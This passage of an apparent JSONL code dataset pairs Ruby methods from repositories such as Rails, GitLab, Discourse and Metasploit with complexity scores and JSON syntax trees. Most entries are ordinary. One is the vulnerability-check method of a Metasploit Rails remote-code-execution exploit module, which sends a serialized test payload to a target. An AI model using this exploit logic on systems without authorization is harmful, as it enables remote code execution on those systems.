,\"children\":[{\"type\":\"sym\",\"children\":[\"indent\"]},{\"type\":\"lvar\",\"children\":[\"indent\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"worker\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section_builder\"]},\"add_section\",{\"type\":\"send\",\"children\":[null,\"worker_build\",{\"type\":\"lvar\",\"children\":[\"cc\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"indent\"]},{\"type\":\"lvar\",\"children\":[\"indent\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section_builder\"]},\"add_section\",{\"type\":\"send\",\"children\":[null,\"source_build\",{\"type\":\"lvar\",\"children\":[\"cc\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"indent\"]},{\"type\":\"lvar\",\"children\":[\"indent\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"filter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section_builder\"]},\"add_section\",{\"type\":\"send\",\"children\":[null,\"filter_build\",{\"type\":\"lvar\",\"children\":[\"cc\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"indent\"]},{\"type\":\"lvar\",\"children\":[\"indent\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"match\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section_builder\"]},\"add_section\",{\"type\":\"send\",\"children\":[null,\"match_build\",{\"type\":\"lvar\",\"children\":[\"cc\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"indent\"]},{\"type\":\"lvar\",\"children\":[\"indent\"]}]}]}]}]}]},null]}]}]}]}","id":"4ee8090a-f338-4cc3-a3e1-bec8b478bc9c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/query_limiting/transaction.rb","start_line":102,"raw_source":"def threshold\n        ::Gitlab::QueryLimiting.threshold || self.class.threshold\n      end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"threshold\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"QueryLimiting\"]},\"threshold\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"threshold\"]}]}]}","id":"04cb5197-2d5a-4a01-b762-5d4f551c8bc3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/migration_helpers.rb","start_line":98,"raw_source":"def rubocop_migrations_config\n      @rubocop_migrations_config ||= YAML.load_file(File.join(rubocop_path, 'rubocop-migrations.yml'))\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"rubocop_migrations_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@rubocop_migrations_config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"rubocop_path\"]},{\"type\":\"str\",\"children\":[\"rubocop-migrations.yml\"]}]}]}]}]}","id":"5a3c6fca-9897-4d2f-808a-a7e09ff45835"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template.rb","start_line":1180,"raw_source":"def self.calculate_power_state(raw_power_state)\n    (raw_power_state == \"never\") ? \"never\" : \"unknown\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"calculate_power_state\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw_power_state\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_power_state\"]},\"==\",{\"type\":\"str\",\"children\":[\"never\"]}]}]},{\"type\":\"str\",\"children\":[\"never\"]},{\"type\":\"str\",\"children\":[\"unknown\"]}]}]}","id":"78e36761-c11f-4915-8975-995598b4644a"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/user_serializer.rb","start_line":280,"raw_source":"def allowed_pm_usernames\n    AllowedPmUser.where(user_id: object.id).joins(:allowed_pm_user).pluck(:username)\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_pm_usernames\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AllowedPmUser\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"id\"]}]}]}]},\"joins\",{\"type\":\"sym\",\"children\":[\"allowed_pm_user\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]}","id":"a81ade78-fac0-4bd9-8f6f-71e1e4b3bd6a"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/users_controller.rb","start_line":179,"raw_source":"def grant_admin\n    result = run_second_factor!(SecondFactor::Actions::GrantAdmin)\n    if result.no_second_factors_enabled?\n      render json: success_json.merge(email_confirmation_required: true)\n    else\n      render json: success_json\n    end\n  end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"grant_admin\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"run_second_factor!\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecondFactor\"]},\"Actions\"]},\"GrantAdmin\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"no_second_factors_enabled?\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"success_json\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email_confirmation_required\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]}]}]}]}","id":"a59217b5-2fcd-431a-ae3f-bf7691b35f75"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/session/mem_cache_store_test.rb","start_line":124,"raw_source":"def test_getting_session_id\n      with_test_route_set do\n        get \"/set_session_value\"\n        assert_response :success\n        assert cookies[\"_session_id\"]\n        session_id = cookies[\"_session_id\"]\n\n        get \"/get_session_id\"\n        assert_response :success\n        assert_equal session_id, response.body, \"should be able to read session id without accessing the session hash\"\n      end\n    rescue Dalli::RingError => ex\n      skip ex.message, ex.backtrace\n    end","complexity_score":26.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_getting_session_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_test_route_set\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/set_session_value\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"[]\",{\"type\":\"str\",\"children\":[\"_session_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"session_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"[]\",{\"type\":\"str\",\"children\":[\"_session_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/get_session_id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"session_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"body\"]},{\"type\":\"str\",\"children\":[\"should be able to read session id without accessing the session hash\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dalli\"]},\"RingError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"send\",\"children\":[null,\"skip\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"backtrace\"]}]}]},null]}]}","id":"957f0d6d-fd70-47c5-a8bf-38e1735b05ed"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/inline_uploads.rb","start_line":153,"raw_source":"def self.match_md_inline_img(markdown, external_src: false)\n    markdown.scan(/(!?\\[([^\\[\\]]*)\\]\\(([^\\s\\)]+)([ ]*['\"]{1}[^\\)]*['\"]{1}[ ]*)?\\))/) do |match|\n      if (external_src || matched_uploads(match[2]).present?) && block_given?\n        yield(\n          match[0],\n          match[2],\n          +\"#{match[0].start_with?(\"!\") ? \"!\" : \"\"}[#{match[1]}](#{PLACEHOLDER}#{match[3]})\",\n          $~.offset(0)[0]\n        )\n      end\n    end\n  end","complexity_score":27.33,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"match_md_inline_img\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"markdown\"]},{\"type\":\"kwoptarg\",\"children\":[\"external_src\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"markdown\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(!?\\\\[([^\\\\[\\\\]]*)\\\\]\\\\(([^\\\\s\\\\)]+)([ ]*['\\\"]{1}[^\\\\)]*['\\\"]{1}[ ]*)?\\\\))\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"match\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"external_src\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"matched_uploads\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},\"present?\"]}]}]},{\"type\":\"send\",\"children\":[null,\"block_given?\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"start_with?\",{\"type\":\"str\",\"children\":[\"!\"]}]},{\"type\":\"str\",\"children\":[\"!\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\"](\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PLACEHOLDER\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]},\"+@\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$~\"]},\"offset\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},null]}]}]}","id":"0ec7e2b0-fb42-4932-a584-c0d0b58f208f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/groups/update_roles_service.rb","start_line":37,"raw_source":"def initialize(group, current_user:, contract_class: AdminOnlyContract)\n      self.model = group\n\n      super(user: current_user,\n            contract_class:)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]},{\"type\":\"kwarg\",\"children\":[\"current_user\"]},{\"type\":\"kwoptarg\",\"children\":[\"contract_class\",{\"type\":\"const\",\"children\":[null,\"AdminOnlyContract\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"model=\",{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contract_class\"]},{\"type\":\"lvar\",\"children\":[\"contract_class\"]}]}]}]}]}]}","id":"bc2971e0-1f74-4828-99d0-174bb78cebd7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/serializer/readable_text.rb","start_line":236,"raw_source":"def self.dump_traits(mod, indent=' ')\n    output = ''\n\n    unless mod.side_effects.empty?\n      output << \"Module side effects:\\n\"\n      mod.side_effects.each { |side_effect|\n        output << indent + side_effect + \"\\n\"\n      }\n      output << \"\\n\"\n    end\n\n    unless mod.stability.empty?\n      output << \"Module stability:\\n\"\n      mod.stability.each { |stability|\n        output << indent + stability + \"\\n\"\n      }\n      output << \"\\n\"\n    end\n\n    unless mod.reliability.empty?\n      output << \"Module reliability:\\n\"\n      mod.reliability.each { |reliability|\n        output << indent + reliability + \"\\n\"\n      }\n      output << \"\\n\"\n    end\n\n    output\n  end","complexity_score":43.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"dump_traits\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]},{\"type\":\"optarg\",\"children\":[\"indent\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"side_effects\"]},\"empty?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Module side effects:\\n\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"side_effects\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"side_effect\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indent\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"side_effect\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"stability\"]},\"empty?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Module stability:\\n\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"stability\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stability\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indent\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"stability\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"reliability\"]},\"empty?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Module reliability:\\n\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"reliability\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reliability\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indent\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"reliability\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}","id":"39471db1-63ea-4442-a14a-b4f569fc8e9e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/meeting_agenda_items/item_component/show_component.rb","start_line":100,"raw_source":"def edit_action_item(menu)\n      return unless editable?\n\n      menu.with_item(label: t(\"label_edit\"),\n                     href: edit_meeting_agenda_item_path(@meeting_agenda_item.meeting, @meeting_agenda_item,\n                                                         current_occurrence: @current_occurrence),\n                     content_arguments: {\n                       data: { \"turbo-stream\": true }\n                     }) do |item|\n        item.with_leading_visual_icon(icon: :pencil)\n      end\n    end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"edit_action_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"menu\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"editable?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"menu\"]},\"with_item\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"str\",\"children\":[\"label_edit\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"edit_meeting_agenda_item_path\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meeting_agenda_item\"]},\"meeting\"]},{\"type\":\"ivar\",\"children\":[\"@meeting_agenda_item\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_occurrence\"]},{\"type\":\"ivar\",\"children\":[\"@current_occurrence\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_arguments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"turbo-stream\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"with_leading_visual_icon\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"sym\",\"children\":[\"pencil\"]}]}]}]}]}]}]}","id":"c3daa23a-35e7-409c-8e48-9f7bbab80826"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_associations_test.rb","start_line":2028,"raw_source":"def test_included_in_collection\n    assert_equal true, companies(:first_firm).clients.include?(Client.find(2))\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_included_in_collection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"companies\",{\"type\":\"sym\",\"children\":[\"first_firm\"]}]},\"clients\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Client\"]},\"find\",{\"type\":\"int\",\"children\":[2]}]}]}]}]}","id":"72e0206f-ddeb-4a9f-92ec-08f7578dc3c4"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/api.rb","start_line":450,"raw_source":"def retried_at\n      if self[\"retried_at\"]\n        time_from_timestamp(self[\"retried_at\"])\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"retried_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"str\",\"children\":[\"retried_at\"]}]},{\"type\":\"send\",\"children\":[null,\"time_from_timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"str\",\"children\":[\"retried_at\"]}]}]},null]}]}","id":"04b584a9-4943-479b-9fe2-20699368f149"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/rails_double_tap.rb","start_line":130,"raw_source":"def check\n    check_code = CheckCode::Safe\n    app_name = get_application_name\n    check_code = CheckCode::Appears unless app_name.blank?\n    test_payload = %Q|puts 1|\n    rails_payload = generate_rails_payload(app_name, test_payload)\n    result = send_serialized_payload(rails_payload)\n    check_code = CheckCode::Vulnerable if result\n    check_code\n  rescue Msf::Exploit::Failed => e\n    vprint_error(e.message)\n    return check_code if e.message.to_s.include? NO_RAILS_ROOT_MSG\n\n    CheckCode::Unknown\n  end","complexity_score":25.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"check_code\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]},{\"type\":\"lvasgn\",\"children\":[\"app_name\",{\"type\":\"send\",\"children\":[null,\"get_application_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_name\"]},\"blank?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"check_code\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"test_payload\",{\"type\":\"str\",\"children\":[\"puts 1\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rails_payload\",{\"type\":\"send\",\"children\":[null,\"generate_rails_payload\",{\"type\":\"lvar\",\"children\":[\"app_name\"]},{\"type\":\"lvar\",\"children\":[\"test_payload\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"send_serialized_payload\",{\"type\":\"lvar\",\"children\":[\"rails_payload\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"lvasgn\",\"children\":[\"check_code\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Vulnerable\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"check_code\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Failed\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]},\"to_s\"]},\"include?\",{\"type\":\"const\",\"children\":[null,\"NO_RAILS_ROOT_MSG\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check_code\"]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\"]}]}]},null]}]}","id":"8e2b37f5-c52e-48de-a09b-dbecf94c774b"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/normalized_has_one_test.rb","start_line":23,"raw_source":"def test_defining_a_denormalized_has_one_cache_caches_the_associated_id_on_the_parent_record_during_cache_miss\n    fetched_record = Item.fetch(@record.id)\n    assert_equal(1, fetched_record.cached_associated_id)\n    refute_predicate(fetched_record.association(:associated), :loaded?)\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_defining_a_denormalized_has_one_cache_caches_the_associated_id_on_the_parent_record_during_cache_miss\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fetched_record\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fetched_record\"]},\"cached_associated_id\"]}]},{\"type\":\"send\",\"children\":[null,\"refute_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fetched_record\"]},\"association\",{\"type\":\"sym\",\"children\":[\"associated\"]}]},{\"type\":\"sym\",\"children\":[\"loaded?\"]}]}]}]}","id":"a49b1482-a147-473b-89eb-835d2cc954eb"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/app_generator_test.rb","start_line":587,"raw_source":"def test_javascript_is_skipped_if_required\n    run_generator [destination_root, \"--skip-javascript\"]\n\n    assert_no_file \"app/javascript\"\n\n    assert_file \"app/views/layouts/application.html.erb\" do |contents|\n      assert_match(/stylesheet_link_tag\\s+:app %>/, contents)\n    end\n\n    assert_file \".github/workflows/ci.yml\" do |file|\n      assert_no_match(\"scan_js\", file)\n    end\n  